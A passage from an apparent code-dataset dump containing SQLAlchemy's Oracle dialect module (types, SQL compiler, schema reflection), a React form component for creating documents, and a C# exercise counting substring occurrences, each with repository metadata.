DATE HAVING CLUSTER NOWAIT RESOURCE '\ 'ANY TABLE INDEX FOR UPDATE WHERE CHECK SMALLINT WITH DELETE '\ 'BY ASC REVOKE LIKE SIZE RENAME NOCOMPRESS NULL GROUP VALUES '\ 'AS IN VIEW EXCLUSIVE COMPRESS SYNONYM SELECT INSERT EXISTS '\ 'NOT TRIGGER ELSE CREATE INTERSECT PCTFREE DISTINCT USER '\ 'CONNECT SET MODE OF UNIQUE VARCHAR2 VARCHAR LOCK OR CHAR '\ 'DECIMAL UNION PUBLIC AND START UID COMMENT CURRENT LEVEL'.split()) NO_ARG_FNS = set('UID CURRENT_DATE SYSDATE USER ' 'CURRENT_TIME CURRENT_TIMESTAMP'.split()) class RAW(sqltypes._Binary): __visit_name__ = 'RAW' OracleRaw = RAW class NCLOB(sqltypes.Text): __visit_name__ = 'NCLOB' class VARCHAR2(VARCHAR): __visit_name__ = 'VARCHAR2' NVARCHAR2 = NVARCHAR class NUMBER(sqltypes.Numeric, sqltypes.Integer): __visit_name__ = 'NUMBER' def __init__(self, precision=None, scale=None, asdecimal=None): if asdecimal is None: asdecimal = bool(scale and scale > 0) super(NUMBER, self).__init__(precision=precision, scale=scale, asdecimal=asdecimal) def adapt(self, impltype): ret = super(NUMBER, self).adapt(impltype) # leave a hint for the DBAPI handler ret._is_oracle_number = True return ret @property def _type_affinity(self): if bool(self.scale and self.scale > 0): return sqltypes.Numeric else: return sqltypes.Integer class DOUBLE_PRECISION(sqltypes.Numeric): __visit_name__ = 'DOUBLE_PRECISION' def __init__(self, precision=None, scale=None, asdecimal=None): if asdecimal is None: asdecimal = False super(DOUBLE_PRECISION, self).__init__(precision=precision, scale=scale, asdecimal=asdecimal) class BFILE(sqltypes.LargeBinary): __visit_name__ = 'BFILE' class LONG(sqltypes.Text): __visit_name__ = 'LONG' class DATE(sqltypes.DateTime): """Provide the oracle DATE type. This type has no special Python behavior, except that it subclasses :class:`.types.DateTime`; this is to suit the fact that the Oracle ``DATE`` type supports a time value. .. versionadded:: 0.9.4 """ __visit_name__ = 'DATE' def _compare_type_affinity(self, other): return other._type_affinity in (sqltypes.DateTime, sqltypes.Date) class INTERVAL(sqltypes.TypeEngine): __visit_name__ = 'INTERVAL' def __init__(self, day_precision=None, second_precision=None): """Construct an INTERVAL. Note that only DAY TO SECOND intervals are currently supported. This is due to a lack of support for YEAR TO MONTH intervals within available DBAPIs (cx_oracle and zxjdbc). :param day_precision: the day precision value. this is the number of digits to store for the day field. Defaults to "2" :param second_precision: the second precision value. this is the number of digits to store for the fractional seconds field. Defaults to "6". """ self.day_precision = day_precision self.second_precision = second_precision @classmethod def _adapt_from_generic_interval(cls, interval): return INTERVAL(day_precision=interval.day_precision, second_precision=interval.second_precision) @property def _type_affinity(self): return sqltypes.Interval class ROWID(sqltypes.TypeEngine): """Oracle ROWID type. When used in a cast() or similar, generates ROWID. """ __visit_name__ = 'ROWID' class _OracleBoolean(sqltypes.Boolean): def get_dbapi_type(self, dbapi): return dbapi.NUMBER colspecs = { sqltypes.Boolean: _OracleBoolean, sqltypes.Interval: INTERVAL, sqltypes.DateTime: DATE } ischema_names = { 'VARCHAR2': VARCHAR, 'NVARCHAR2': NVARCHAR, 'CHAR': CHAR, 'DATE': DATE, 'NUMBER': NUMBER, 'BLOB': BLOB, 'BFILE': BFILE, 'CLOB': CLOB, 'NCLOB': NCLOB, 'TIMESTAMP': TIMESTAMP, 'TIMESTAMP WITH TIME ZONE': TIMESTAMP, 'INTERVAL DAY TO SECOND': INTERVAL, 'RAW': RAW, 'FLOAT': FLOAT, 'DOUBLE PRECISION': DOUBLE_PRECISION, 'LONG': LONG, } class OracleTypeCompiler(compiler.GenericTypeCompiler): # Note: # Oracle DATE == DATETIME # Oracle does not allow milliseconds in DATE # Oracle does not support TIME columns def visit_datetime(self, type_): return self.visit_DATE(type_) def visit_float(self, type_): return self.visit_FLOAT(type_) def visit_unicode(self, type_): if self.dialect._supports_nchar: return self.visit_NVARCHAR2(type_) else: return self.visit_VARCHAR2(type_) def visit_INTERVAL(self, type_): return "INTERVAL DAY%s TO SECOND%s" % ( type_.day_precision is not None and "(%d)" % type_.day_precision or "", type_.second_precision is not None and "(%d)" % type_.second_precision or "", ) def visit_LONG(self, type_): return "LONG" def visit_TIMESTAMP(self, type_): if type_.timezone: return "TIMESTAMP WITH TIME ZONE" else: return "TIMESTAMP" def visit_DOUBLE_PRECISION(self, type_): return self._generate_numeric(type_, "DOUBLE PRECISION") def visit_NUMBER(self, type_, **kw): return self._generate_numeric(type_, "NUMBER", **kw) def _generate_numeric(self, type_, name, precision=None, scale=None): if precision is None: precision = type_.precision if scale is None: scale = getattr(type_, 'scale', None) if precision is None: return name elif scale is None: n = "%(name)s(%(precision)s)" return n % {'name': name, 'precision': precision} else: n = "%(name)s(%(precision)s, %(scale)s)" return n % {'name': name, 'precision': precision, 'scale': scale} def visit_string(self, type_): return self.visit_VARCHAR2(type_) def visit_VARCHAR2(self, type_): return self._visit_varchar(type_, '', '2') def visit_NVARCHAR2(self, type_): return self._visit_varchar(type_, 'N', '2') visit_NVARCHAR = visit_NVARCHAR2 def visit_VARCHAR(self, type_): return self._visit_varchar(type_, '', '') def _visit_varchar(self, type_, n, num): if not type_.length: return "%(n)sVARCHAR%(two)s" % {'two': num, 'n': n} elif not n and self.dialect._supports_char_length: varchar = "VARCHAR%(two)s(%(length)s CHAR)" return varchar % {'length': type_.length, 'two': num} else: varchar = "%(n)sVARCHAR%(two)s(%(length)s)" return varchar % {'length': type_.length, 'two': num, 'n': n} def visit_text(self, type_): return self.visit_CLOB(type_) def visit_unicode_text(self, type_): if self.dialect._supports_nchar: return self.visit_NCLOB(type_) else: return self.visit_CLOB(type_) def visit_large_binary(self, type_): return self.visit_BLOB(type_) def visit_big_integer(self, type_): return self.visit_NUMBER(type_, precision=19) def visit_boolean(self, type_): return self.visit_SMALLINT(type_) def visit_RAW(self, type_): if type_.length: return "RAW(%(length)s)" % {'length': type_.length} else: return "RAW" def visit_ROWID(self, type_): return "ROWID" class OracleCompiler(compiler.SQLCompiler): """Oracle compiler modifies the lexical structure of Select statements to work under non-ANSI configured Oracle databases, if the use_ansi flag is False. """ compound_keywords = util.update_copy( compiler.SQLCompiler.compound_keywords, { expression.CompoundSelect.EXCEPT: 'MINUS' } ) def __init__(self, *args, **kwargs): self.__wheres = {} self._quoted_bind_names = {} super(OracleCompiler, self).__init__(*args, **kwargs) def visit_mod_binary(self, binary, operator, **kw): return "mod(%s, %s)" % (self.process(binary.left, **kw), self.process(binary.right, **kw)) def visit_now_func(self, fn, **kw): return "CURRENT_TIMESTAMP" def visit_char_length_func(self, fn, **kw): return "LENGTH" + self.function_argspec(fn, **kw) def visit_match_op_binary(self, binary, operator, **kw): return "CONTAINS (%s, %s)" % (self.process(binary.left), self.process(binary.right)) def visit_true(self, expr, **kw): return '1' def visit_false(self, expr, **kw): return '0' def get_select_hint_text(self, byfroms): return " ".join( "/*+ %s */" % text for table, text in byfroms.items() ) def function_argspec(self, fn, **kw): if len(fn.clauses) > 0 or fn.name.upper() not in NO_ARG_FNS: return compiler.SQLCompiler.function_argspec(self, fn, **kw) else: return "" def default_from(self): """Called when a ``SELECT`` statement has no froms, and no ``FROM`` clause is to be appended. The Oracle compiler tacks a "FROM DUAL" to the statement. """ return " FROM DUAL" def visit_join(self, join, **kwargs): if self.dialect.use_ansi: return compiler.SQLCompiler.visit_join(self, join, **kwargs) else: kwargs['asfrom'] = True if isinstance(join.right, expression.FromGrouping): right = join.right.element else: right = join.right return self.process(join.left, **kwargs) + \ ", " + self.process(right, **kwargs) def _get_nonansi_join_whereclause(self, froms): clauses = [] def visit_join(join): if join.isouter: def visit_binary(binary): if binary.operator == sql_operators.eq: if join.right.is_derived_from(binary.left.table): binary.left = _OuterJoinColumn(binary.left) elif join.right.is_derived_from(binary.right.table): binary.right = _OuterJoinColumn(binary.right) clauses.append(visitors.cloned_traverse(join.onclause, {}, {'binary': visit_binary})) else: clauses.append(join.onclause) for j in join.left, join.right: if isinstance(j, expression.Join): visit_join(j) elif isinstance(j, expression.FromGrouping): visit_join(j.element) for f in froms: if isinstance(f, expression.Join): visit_join(f) if not clauses: return None else: return sql.and_(*clauses) def visit_outer_join_column(self, vc): return self.process(vc.column) + "(+)" def visit_sequence(self, seq): return self.dialect.identifier_preparer.format_sequence(seq) + ".nextval" def visit_alias(self, alias, asfrom=False, ashint=False, **kwargs): """Oracle doesn't like ``FROM table AS alias``. Is the AS standard SQL??""" if asfrom or ashint: alias_name = isinstance(alias.name, expression._truncated_label) and \ self._truncated_identifier("alias", alias.name) or alias.name if ashint: return alias_name elif asfrom: return self.process(alias.original, asfrom=asfrom, **kwargs) + \ " " + self.preparer.format_alias(alias, alias_name) else: return self.process(alias.original, **kwargs) def returning_clause(self, stmt, returning_cols): columns = [] binds = [] for i, column in enumerate(expression._select_iterables(returning_cols)): if column.type._has_column_expression: col_expr = column.type.column_expression(column) else: col_expr = column outparam = sql.outparam("ret_%d" % i, type_=column.type) self.binds[outparam.key] = outparam binds.append(self.bindparam_string(self._truncate_bindparam(outparam))) columns.append(self.process(col_expr, within_columns_clause=False)) self.result_map[outparam.key] = ( outparam.key, (column, getattr(column, 'name', None), getattr(column, 'key', None)), column.type ) return 'RETURNING ' + ', '.join(columns) + " INTO " + ", ".join(binds) def _TODO_visit_compound_select(self, select): """Need to determine how to get ``LIMIT``/``OFFSET`` into a ``UNION`` for Oracle.""" pass def visit_select(self, select, **kwargs): """Look for ``LIMIT`` and OFFSET in a select statement, and if so tries to wrap it in a subquery with ``rownum`` criterion. """ if not getattr(select, '_oracle_visit', None): if not self.dialect.use_ansi: froms = self._display_froms_for_select( select, kwargs.get('asfrom', False)) whereclause = self._get_nonansi_join_whereclause(froms) if whereclause is not None: select = select.where(whereclause) select._oracle_visit = True limit_clause = select._limit_clause offset_clause = select._offset_clause if limit_clause is not None or offset_clause is not None: # See http://www.oracle.com/technology/oramag/oracle/06-sep/o56asktom.html # # Generalized form of an Oracle pagination query: # select ... from ( # select /*+ FIRST_ROWS(N) */ ...., rownum as ora_rn from ( # select distinct ... where ... order by ... # ) where ROWNUM <= :limit+:offset # ) where ora_rn > :offset # Outer select and "ROWNUM as ora_rn" can be dropped if limit=0 # TODO: use annotations instead of clone + attr set ? select = select._generate() select._oracle_visit = True # Wrap the middle select and add the hint limitselect = sql.select([c for c in select.c]) if limit_clause is not None and \ self.dialect.optimize_limits and \ select._simple_int_limit: limitselect = limitselect.prefix_with( "/*+ FIRST_ROWS(%d) */" % select._limit) limitselect._oracle_visit = True limitselect._is_wrapper = True # If needed, add the limiting clause if limit_clause is not None: if not self.dialect.use_binds_for_limits: # use simple int limits, will raise an exception # if the limit isn't specified this way max_row = select._limit if offset_clause is not None: max_row += select._offset max_row = sql.literal_column("%d" % max_row) else: max_row = limit_clause if offset_clause is not None: max_row = max_row + offset_clause limitselect.append_whereclause( sql.literal_column("ROWNUM") <= max_row) # If needed, add the ora_rn, and wrap again with offset. if offset_clause is None: limitselect._for_update_arg = select._for_update_arg select = limitselect else: limitselect = limitselect.column( sql.literal_column("ROWNUM").label("ora_rn")) limitselect._oracle_visit = True limitselect._is_wrapper = True offsetselect = sql.select( [c for c in limitselect.c if c.key != 'ora_rn']) offsetselect._oracle_visit = True offsetselect._is_wrapper = True if not self.dialect.use_binds_for_limits: offset_clause = sql.literal_column( "%d" % select._offset) offsetselect.append_whereclause( sql.literal_column("ora_rn") > offset_clause) offsetselect._for_update_arg = select._for_update_arg select = offsetselect kwargs['iswrapper'] = getattr(select, '_is_wrapper', False) return compiler.SQLCompiler.visit_select(self, select, **kwargs) def limit_clause(self, select): return "" def for_update_clause(self, select): if self.is_subquery(): return "" tmp = ' FOR UPDATE' if select._for_update_arg.of: tmp += ' OF ' + ', '.join( self.process(elem) for elem in select._for_update_arg.of ) if select._for_update_arg.nowait: tmp += " NOWAIT" return tmp class OracleDDLCompiler(compiler.DDLCompiler): def define_constraint_cascades(self, constraint): text = "" if constraint.ondelete is not None: text += " ON DELETE %s" % constraint.ondelete # oracle has no ON UPDATE CASCADE - # its only available via triggers http://asktom.oracle.com/tkyte/update_cascade/index.html if constraint.onupdate is not None: util.warn( "Oracle does not contain native UPDATE CASCADE " "functionality - onupdates will not be rendered for foreign keys. " "Consider using deferrable=True, initially='deferred' or triggers.") return text def visit_create_index(self, create, **kw): return super(OracleDDLCompiler, self).\ visit_create_index(create, include_schema=True) class OracleIdentifierPreparer(compiler.IdentifierPreparer): reserved_words = set([x.lower() for x in RESERVED_WORDS]) illegal_initial_characters = set(range(0, 10)).union(["_", "$"]) def _bindparam_requires_quotes(self, value): """Return True if the given identifier requires quoting.""" lc_value = value.lower() return (lc_value in self.reserved_words or value[0] in self.illegal_initial_characters or not self.legal_characters.match(util.text_type(value)) ) def format_savepoint(self, savepoint): name = re.sub(r'^_+', '', savepoint.ident) return super(OracleIdentifierPreparer, self).format_savepoint(savepoint, name) class OracleExecutionContext(default.DefaultExecutionContext): def fire_sequence(self, seq, type_): return self._execute_scalar("SELECT " + self.dialect.identifier_preparer.format_sequence(seq) + ".nextval FROM DUAL", type_) class OracleDialect(default.DefaultDialect): name = 'oracle' supports_alter = True supports_unicode_statements = False supports_unicode_binds = False max_identifier_length = 30 supports_sane_rowcount = True supports_sane_multi_rowcount = False supports_sequences = True sequences_optional = False postfetch_lastrowid = False default_paramstyle = 'named' colspecs = colspecs ischema_names = ischema_names requires_name_normalize = True supports_default_values = False supports_empty_insert = False statement_compiler = OracleCompiler ddl_compiler = OracleDDLCompiler type_compiler = OracleTypeCompiler preparer = OracleIdentifierPreparer execution_ctx_cls = OracleExecutionContext reflection_options = ('oracle_resolve_synonyms', ) construct_arguments = [ (sa_schema.Table, {"resolve_synonyms": False}) ] def __init__(self, use_ansi=True, optimize_limits=False, use_binds_for_limits=True, **kwargs): default.DefaultDialect.__init__(self, **kwargs) self.use_ansi = use_ansi self.optimize_limits = optimize_limits self.use_binds_for_limits = use_binds_for_limits def initialize(self, connection): super(OracleDialect, self).initialize(connection) self.implicit_returning = self.__dict__.get( 'implicit_returning', self.server_version_info > (10, ) ) if self._is_oracle_8: self.colspecs = self.colspecs.copy() self.colspecs.pop(sqltypes.Interval) self.use_ansi = False @property def _is_oracle_8(self): return self.server_version_info and \ self.server_version_info < (9, ) @property def _supports_char_length(self): return not self._is_oracle_8 @property def _supports_nchar(self): return not self._is_oracle_8 def do_release_savepoint(self, connection, name): # Oracle does not support RELEASE SAVEPOINT pass def has_table(self, connection, table_name, schema=None): if not schema: schema = self.default_schema_name cursor = connection.execute( sql.text("SELECT table_name FROM all_tables " "WHERE table_name = :name AND owner = :schema_name"), name=self.denormalize_name(table_name), schema_name=self.denormalize_name(schema)) return cursor.first() is not None def has_sequence(self, connection, sequence_name, schema=None): if not schema: schema = self.default_schema_name cursor = connection.execute( sql.text("SELECT sequence_name FROM all_sequences " "WHERE sequence_name = :name AND sequence_owner = :schema_name"), name=self.denormalize_name(sequence_name), schema_name=self.denormalize_name(schema)) return cursor.first() is not None def normalize_name(self, name): if name is None: return None if util.py2k: if isinstance(name, str): name = name.decode(self.encoding) if name.upper() == name and \ not self.identifier_preparer._requires_quotes(name.lower()): return name.lower() else: return name def denormalize_name(self, name): if name is None: return None elif name.lower() == name and not self.identifier_preparer._requires_quotes(name.lower()): name = name.upper() if util.py2k: if not self.supports_unicode_binds: name = name.encode(self.encoding) else: name = unicode(name) return name def _get_default_schema_name(self, connection): return self.normalize_name(connection.execute('SELECT USER FROM DUAL').scalar()) def _resolve_synonym(self, connection, desired_owner=None, desired_synonym=None, desired_table=None): """search for a local synonym matching the given desired owner/name. if desired_owner is None, attempts to locate a distinct owner. returns the actual name, owner, dblink name, and synonym name if found. """ q = "SELECT owner, table_owner, table_name, db_link, "\ "synonym_name FROM all_synonyms WHERE " clauses = [] params = {} if desired_synonym: clauses.append("synonym_name = :synonym_name") params['synonym_name'] = desired_synonym if desired_owner: clauses.append("owner = :desired_owner") params['desired_owner'] = desired_owner if desired_table: clauses.append("table_name = :tname") params['tname'] = desired_table q += " AND ".join(clauses) result = connection.execute(sql.text(q), **params) if desired_owner: row = result.first() if row: return row['table_name'], row['table_owner'], row['db_link'], row['synonym_name'] else: return None, None, None, None else: rows = result.fetchall() if len(rows) > 1: raise AssertionError("There are multiple tables visible to the schema, you must specify owner") elif len(rows) == 1: row = rows[0] return row['table_name'], row['table_owner'], row['db_link'], row['synonym_name'] else: return None, None, None, None @reflection.cache def _prepare_reflection_args(self, connection, table_name, schema=None, resolve_synonyms=False, dblink='', **kw): if resolve_synonyms: actual_name, owner, dblink, synonym = self._resolve_synonym( connection, desired_owner=self.denormalize_name(schema), desired_synonym=self.denormalize_name(table_name) ) else: actual_name, owner, dblink, synonym = None, None, None, None if not actual_name: actual_name = self.denormalize_name(table_name) if dblink: # using user_db_links here since all_db_links appears # to have more restricted permissions. # http://docs.oracle.com/cd/B28359_01/server.111/b28310/ds_admin005.htm # will need to hear from more users if we are doing # the right thing here. See [ticket:2619] owner = connection.scalar( sql.text("SELECT username FROM user_db_links " "WHERE db_link=:link"), link=dblink) dblink = "@" + dblink elif not owner: owner = self.denormalize_name(schema or self.default_schema_name) return (actual_name, owner, dblink or '', synonym) @reflection.cache def get_schema_names(self, connection, **kw): s = "SELECT username FROM all_users ORDER BY username" cursor = connection.execute(s,) return [self.normalize_name(row[0]) for row in cursor] @reflection.cache def get_table_names(self, connection, schema=None, **kw): schema = self.denormalize_name(schema or self.default_schema_name) # note that table_names() isn't loading DBLINKed or synonym'ed tables if schema is None: schema = self.default_schema_name s = sql.text( "SELECT table_name FROM all_tables " "WHERE nvl(tablespace_name, 'no tablespace') NOT IN ('SYSTEM', 'SYSAUX') " "AND OWNER = :owner " "AND IOT_NAME IS NULL") cursor = connection.execute(s, owner=schema) return [self.normalize_name(row[0]) for row in cursor] @reflection.cache def get_view_names(self, connection, schema=None, **kw): schema = self.denormalize_name(schema or self.default_schema_name) s = sql.text("SELECT view_name FROM all_views WHERE owner = :owner") cursor = connection.execute(s, owner=self.denormalize_name(schema)) return [self.normalize_name(row[0]) for row in cursor] @reflection.cache def get_columns(self, connection, table_name, schema=None, **kw): """ kw arguments can be: oracle_resolve_synonyms dblink """ resolve_synonyms = kw.get('oracle_resolve_synonyms', False) dblink = kw.get('dblink', '') info_cache = kw.get('info_cache') (table_name, schema, dblink, synonym) = \ self._prepare_reflection_args(connection, table_name, schema, resolve_synonyms, dblink, info_cache=info_cache) columns = [] if self._supports_char_length: char_length_col = 'char_length' else: char_length_col = 'data_length' params = {"table_name": table_name} text = "SELECT column_name, data_type, %(char_length_col)s, "\ "data_precision, data_scale, "\ "nullable, data_default FROM ALL_TAB_COLUMNS%(dblink)s "\ "WHERE table_name = :table_name" if schema is not None: params['owner'] = schema text += " AND owner = :owner " text += " ORDER BY column_id" text = text % {'dblink': dblink, 'char_length_col': char_length_col} c = connection.execute(sql.text(text), **params) for row in c: (colname, orig_colname, coltype, length, precision, scale, nullable, default) = \ (self.normalize_name(row[0]), row[0], row[1], row[2], row[3], row[4], row[5] == 'Y', row[6]) if coltype == 'NUMBER': coltype = NUMBER(precision, scale) elif coltype in ('VARCHAR2', 'NVARCHAR2', 'CHAR'): coltype = self.ischema_names.get(coltype)(length) elif 'WITH TIME ZONE' in coltype: coltype = TIMESTAMP(timezone=True) else: coltype = re.sub(r'\(\d+\)', '', coltype) try: coltype = self.ischema_names[coltype] except KeyError: util.warn("Did not recognize type '%s' of column '%s'" % (coltype, colname)) coltype = sqltypes.NULLTYPE cdict = { 'name': colname, 'type': coltype, 'nullable': nullable, 'default': default, 'autoincrement': default is None } if orig_colname.lower() == orig_colname: cdict['quote'] = True columns.append(cdict) return columns @reflection.cache def get_indexes(self, connection, table_name, schema=None, resolve_synonyms=False, dblink='', **kw): info_cache = kw.get('info_cache') (table_name, schema, dblink, synonym) = \ self._prepare_reflection_args(connection, table_name, schema, resolve_synonyms, dblink, info_cache=info_cache) indexes = [] params = {'table_name': table_name} text = \ "SELECT a.index_name, a.column_name, b.uniqueness "\ "\nFROM ALL_IND_COLUMNS%(dblink)s a, "\ "\nALL_INDEXES%(dblink)s b "\ "\nWHERE "\ "\na.index_name = b.index_name "\ "\nAND a.table_owner = b.table_owner "\ "\nAND a.table_name = b.table_name "\ "\nAND a.table_name = :table_name " if schema is not None: params['schema'] = schema text += "AND a.table_owner = :schema " text += "ORDER BY a.index_name, a.column_position" text = text % {'dblink': dblink} q = sql.text(text) rp = connection.execute(q, **params) indexes = [] last_index_name = None pk_constraint = self.get_pk_constraint( connection, table_name, schema, resolve_synonyms=resolve_synonyms, dblink=dblink, info_cache=kw.get('info_cache')) pkeys = pk_constraint['constrained_columns'] uniqueness = dict(NONUNIQUE=False, UNIQUE=True) oracle_sys_col = re.compile(r'SYS_NC\d+\$', re.IGNORECASE) def upper_name_set(names): return set([i.upper() for i in names]) pk_names = upper_name_set(pkeys) def remove_if_primary_key(index): # don't include the primary key index if index is not None and \ upper_name_set(index['column_names']) == pk_names: indexes.pop() index = None for rset in rp: if rset.index_name != last_index_name: remove_if_primary_key(index) index = dict(name=self.normalize_name(rset.index_name), column_names=[]) indexes.append(index) index['unique'] = uniqueness.get(rset.uniqueness, False) # filter out Oracle SYS_NC names. could also do an outer join # to the all_tab_columns table and check for real col names there. if not oracle_sys_col.match(rset.column_name): index['column_names'].append(self.normalize_name(rset.column_name)) last_index_name = rset.index_name remove_if_primary_key(index) return indexes @reflection.cache def _get_constraint_data(self, connection, table_name, schema=None, dblink='', **kw): params = {'table_name': table_name} text = \ "SELECT"\ "\nac.constraint_name,"\ "\nac.constraint_type,"\ "\nloc.column_name AS local_column,"\ "\nrem.table_name AS remote_table,"\ "\nrem.column_name AS remote_column,"\ "\nrem.owner AS remote_owner,"\ "\nloc.position as loc_pos,"\ "\nrem.position as rem_pos"\ "\nFROM all_constraints%(dblink)s ac,"\ "\nall_cons_columns%(dblink)s loc,"\ "\nall_cons_columns%(dblink)s rem"\ "\nWHERE ac.table_name = :table_name"\ "\nAND ac.constraint_type IN ('R','P')" if schema is not None: params['owner'] = schema text += "\nAND ac.owner = :owner" text += \ "\nAND ac.owner = loc.owner"\ "\nAND ac.constraint_name = loc.constraint_name"\ "\nAND ac.r_owner = rem.owner(+)"\ "\nAND ac.r_constraint_name = rem.constraint_name(+)"\ "\nAND (rem.position IS NULL or loc.position=rem.position)"\ "\nORDER BY ac.constraint_name, loc.position" text = text % {'dblink': dblink} rp = connection.execute(sql.text(text), **params) constraint_data = rp.fetchall() return constraint_data @reflection.cache def get_pk_constraint(self, connection, table_name, schema=None, **kw): resolve_synonyms = kw.get('oracle_resolve_synonyms', False) dblink = kw.get('dblink', '') info_cache = kw.get('info_cache') (table_name, schema, dblink, synonym) = \ self._prepare_reflection_args(connection, table_name, schema, resolve_synonyms, dblink, info_cache=info_cache) pkeys = [] constraint_name = None constraint_data = self._get_constraint_data(connection, table_name, schema, dblink, info_cache=kw.get('info_cache')) for row in constraint_data: (cons_name, cons_type, local_column, remote_table, remote_column, remote_owner) = \ row[0:2] + tuple([self.normalize_name(x) for x in row[2:6]]) if cons_type == 'P': if constraint_name is None: constraint_name = self.normalize_name(cons_name) pkeys.append(local_column) return {'constrained_columns': pkeys, 'name': constraint_name} @reflection.cache def get_foreign_keys(self, connection, table_name, schema=None, **kw): """ kw arguments can be: oracle_resolve_synonyms dblink """ requested_schema = schema # to check later on resolve_synonyms = kw.get('oracle_resolve_synonyms', False) dblink = kw.get('dblink', '') info_cache = kw.get('info_cache') (table_name, schema, dblink, synonym) = \ self._prepare_reflection_args(connection, table_name, schema, resolve_synonyms, dblink, info_cache=info_cache) constraint_data = self._get_constraint_data(connection, table_name, schema, dblink, info_cache=kw.get('info_cache')) def fkey_rec(): return { 'name': None, 'constrained_columns': [], 'referred_schema': None, 'referred_table': None, 'referred_columns': [] } fkeys = util.defaultdict(fkey_rec) for row in constraint_data: (cons_name, cons_type, local_column, remote_table, remote_column, remote_owner) = \ row[0:2] + tuple([self.normalize_name(x) for x in row[2:6]]) if cons_type == 'R': if remote_table is None: # ticket 363 util.warn( ("Got 'None' querying 'table_name' from " "all_cons_columns%(dblink)s - does the user have " "proper rights to the table?") % {'dblink': dblink}) continue rec = fkeys[cons_name] rec['name'] = cons_name local_cols, remote_cols = rec['constrained_columns'], rec['referred_columns'] if not rec['referred_table']: if resolve_synonyms: ref_remote_name, ref_remote_owner, ref_dblink, ref_synonym = \ self._resolve_synonym( connection, desired_owner=self.denormalize_name(remote_owner), desired_table=self.denormalize_name(remote_table) ) if ref_synonym: remote_table = self.normalize_name(ref_synonym) remote_owner = self.normalize_name(ref_remote_owner) rec['referred_table'] = remote_table if requested_schema is not None or self.denormalize_name(remote_owner) != schema: rec['referred_schema'] = remote_owner local_cols.append(local_column) remote_cols.append(remote_column) return list(fkeys.values()) @reflection.cache def get_view_definition(self, connection, view_name, schema=None, resolve_synonyms=False, dblink='', **kw): info_cache = kw.get('info_cache') (view_name, schema, dblink, synonym) = \ self._prepare_reflection_args(connection, view_name, schema, resolve_synonyms, dblink, info_cache=info_cache) params = {'view_name': view_name} text = "SELECT text FROM all_views WHERE view_name=:view_name" if schema is not None: text += " AND owner = :schema" params['schema'] = schema rp = connection.execute(sql.text(text), **params).scalar() if rp: if util.py2k: rp = rp.decode(self.encoding) return rp else: return None class _OuterJoinColumn(sql.ClauseElement): __visit_name__ = 'outer_join_column' def __init__(self, column): self.column = column
mit
carlospaelinck/publications-js
src/components/new-document/index.tsx
3782
import React from "react"; import styled from "styled-components"; import flowRight from "lodash/fp/flowRight"; import Button from "../ui/framed-button"; import FormInput from "../ui/form-input"; import { ModalButtonContainer } from "../ui/button-container"; import { ModalHeader } from "../ui/text"; import { ModalContent } from "../modal"; import { Formik, FormikProps } from "formik"; import { PubNewDocument } from "../../types/pub-objects"; import { navigate } from "@reach/router"; import { addEditorStateToDocument } from "../../util/documents"; import PageIcon from "../ui/icons/page"; import { useAppStateContext } from "../../contexts/app-state-provider"; const NewDocumentContainer = styled(ModalContent)` width: 400px; `; const Form = styled.form` padding: 0 1em; `; interface NewDocument { name: string; width: number; height: number; } const NewDocumentForm: React.FC = () => { const { actions, user, userFetching } = useAppStateContext(); const validateForm = React.useCallback(() => {}, []); const hasValidUserAuthenticated = !userFetching && !!user; const handleCreateNewDocumentSubmit = React.useCallback( async (sender: NewDocument) => { const newDocumentBase = { height: parseFloat(sender.height.toString()), name: sender.name, width: parseFloat(sender.width.toString()), }; if (hasValidUserAuthenticated) { actions.setNewDocumentModalVisible(false); actions.setCurrentDocument(null); try { const doc = await actions.handleCreateNewDocument(newDocumentBase); return navigate(`/edit/${doc.id}`); } catch (e) { // TODO: Error Handling } } else { const constructedDocument = { name: newDocumentBase.name, pages: [ { shapes: [], height: newDocumentBase.height, width: newDocumentBase.width, pageNumber: 1, }, ], }; flowRight( actions.setCurrentDocument, addEditorStateToDocument )(constructedDocument); actions.setNewDocumentModalVisible(false); navigate("/edit/0"); } }, [actions, hasValidUserAuthenticated] ); return ( <NewDocumentContainer> <ModalHeader> <PageIcon size={24} /> <span>Create New Document</span> </ModalHeader> <Formik initialValues={{ name: "", width: 8.5, height: 11, }} validate={validateForm} onSubmit={handleCreateNewDocumentSubmit} render={({ values, handleChange, handleSubmit, }: FormikProps<PubNewDocument>) => ( <Form onSubmit={handleSubmit}> <FormInput placeholder="Document Name" name="name" onChange={handleChange} value={values.name} /> <FormInput placeholder="Width" name="width" onChange={handleChange} value={values.width} /> <FormInput placeholder="Height" name="height" onChange={handleChange} value={values.height} /> <ModalButtonContainer> <Button marginRight type="submit"> Create Document </Button> <Button type="button" onClick={() => actions.setNewDocumentModalVisible(false)} > Close </Button> </ModalButtonContainer> </Form> )} /> </NewDocumentContainer> ); }; export default NewDocumentForm;
mit
TsvetanMilanov/TelerikAcademyHW
02.CSharpPartTwo/06_StringsAndTextProcessing/StringsAndTextProcessing/04SubStringInText/SubStringInText.cs
1643
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; /*Problem 4. Sub-string in text Write a program that finds how many times a sub-string is contained in a given text (perform case insensitive search). */ namespace _04SubStringInText { class SubStringInText { static void Main(string[] args) { //For concole input: //Console.Write("Enter the string: "); //string inputString = Console.ReadLine(); //Console.Write("Enter the substring: "); //string subString = Console.ReadLine(); string inputString = "We are living in an yellow submarine. We don't have anything else. inside the submarine is very tight. So we are drinking all the day. We will move out of it in 5 days."; string subString = "in"; int index = 0; int appearanceCount = 0; string inputStringToLower = inputString.ToLower(); string subStringToLower = subString.ToLower(); string currentString = inputStringToLower.Substring(0); while (true) { if (currentString.Contains(subStringToLower)) { index = currentString.IndexOf(subStringToLower); currentString = currentString.Substring(index + 1); appearanceCount++; } else { break; } } Console.WriteLine("The result is: {0}", appearanceCount); } } }
mit
bandwidthcom/java-bandwidth
src/test/java/com/bandwidth/sdk/model/RecordingTest.java
4433
